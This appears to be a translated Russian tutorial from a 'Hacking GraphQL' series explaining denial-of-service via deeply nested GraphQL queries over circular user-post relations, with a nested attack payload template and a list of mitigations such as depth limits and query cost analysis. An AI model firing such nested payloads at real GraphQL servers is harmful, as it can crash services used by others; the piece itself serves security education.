Отказ в обслуживании (DoS)
С помощью запросов GraphQL мы можем запрашивать все, что захотим, когда захотим. Это удивительная часть при работе с конечными точками API, но она также имеет некоторые серьезные последствия для безопасности и подводные камни. Вместо того, чтобы запрашивать законные полезные данные, злоумышленник может отправить дорогостоящий вложенный запрос, чтобы перегрузить сервер, базу данных, сеть или все это. Без надлежащей защиты приложения, использующие GraphQL, могут стать жертвами DoS-атаки (отказ в обслуживании).
Например, у нас есть следующий запрос GraphQL:
Код:
{
allpost{
edges{
node{
title
body
user{username}
}
}
}
}
Получаем следующий ответ:
Как видно выше, у пользователя может быть несколько сообщений, и каждое сообщение назначается одному пользователю. В языке GraphQL с каждым сообщением связан пользователь, и у каждого пользователя может быть несколько сообщений (... и у каждого сообщения есть пользователь... и так далее...). Круговая связь может позволить злоумышленникам создать дорогостоящий вложенный запрос. Давайте посмотрим на это в действии!
Эксплуатация
Шаг 1: Создайте вредоносную полезную нагрузку.
Код:
{
allUser{
edges{
node{
username
post{
edges{
node{
title
authorId
users{
username
post{
# ...repeat times 100000....
}
}
}
}
}
}
}
}
}
Шаг 2: Полезная нагрузка запросит вложенные узлы user-post. Стоит отметить время, затраченное на ответ.
Следует отметить, что с увеличением количества циклов увеличивается и время отклика. Пропускать такой запрос очень плохо, так как он экспоненциально увеличивает количество загруженных объектов и в некоторых случаях может привести к сбою всего сервера. Простым исправлением против DoS может быть установка тайм-аута, установка максимальной глубины для данного запроса или установка порогового значения сложности запроса.
Смягчение
Ниже приведены некоторые способы предотвращения DoS-атак:
- Ограничение глубины запроса
- Отключение самоанализа
- Проведение анализа стоимости запроса
- Аудит запроса перед отправкой на сервер
Мы будем изучать инъекционные атаки в третьей части серии статей Hacking GraphQL.
ОРИГИНАЛЬНАЯ СТАТЬЯ